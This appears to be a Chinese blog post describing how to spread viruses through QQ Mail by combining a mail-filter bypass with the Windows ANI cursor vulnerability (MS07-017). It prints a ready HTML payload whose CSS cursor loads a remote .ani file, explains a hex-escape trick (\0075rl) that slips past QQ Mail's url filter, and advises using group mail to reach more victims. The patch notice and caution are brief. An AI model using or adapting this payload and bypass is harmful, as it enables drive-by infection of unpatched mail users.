在我公布QQ邮箱最新跨站漏洞后，又发现了此漏洞的一个利用方法，我将结合微软操作系统最新的漏洞：ANI漏洞来进行病毒的传播测试！（顺便提一下：今天已经发布补丁，微软高危ANI漏洞补丁下载http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx）打了这个补丁的朋友，就不用担心下面的利用方法了……

QQ邮箱（mail.qq.com），有一定可观数量的QQ用户已经顺便激活QQ邮箱服务，并且也没多少人打了上面的补丁，所以利用起来会非常的容易！

在QQ邮箱里写邮件（为了扩大传播范围，最好使用QQ群邮件功能），切换到HTML源码模式，然后贴上此代码<DIV style="CURSOR: url('http://zmworm.googlepages.com/anitest.jpg')">（这个http://zmworm.googlepages.com/anitest.jpg不是病毒，是我测试用的，从铁军那看到这个测试页面^+^）这段代码就是典型的ANI漏洞利用代码了，不过别高兴太早！因为QQ邮箱进行了过滤，将"ur"l变为"xul"，所以要是直接用上面的代码来传播病毒是不行的……将代码构造一下，就可以绕过QQ邮箱的过滤了！将url转换为十六进制（我只转换了u，因为QQ邮箱就过滤了u嘛），转换后的代码为<DIV style="CURSOR: \0075rl('http://zmworm.googlepages.com/anitest.jpg')"> ，就这样就可以传播病毒了……

为了让大家对QQ邮箱漏洞利用的现象有个清晰的认识，看下面这张图片（我的某个群里的某个中了QQ病毒，然后发出的QQ群邮件）：

首先当你登入QQ时，会弹出上面这样的对话框提示你：“你的QQ邮箱有新邮件啦！”，不过利用“QQ邮箱最新漏洞”的这个提示也太……嚣张了！一般人都会忍不住去打开自己的QQ邮箱，只要点击上面那个对话框就会打开这封构造好的邮件……好了，恭喜你中招了！

上面的“QQ邮箱最新漏洞与微软ANI漏洞利用”经过测试，成功……我没进行更深一步的测试，我也没传播病毒，提供这个方法，慎用！也顺便注意QQ邮箱中的陌生邮件……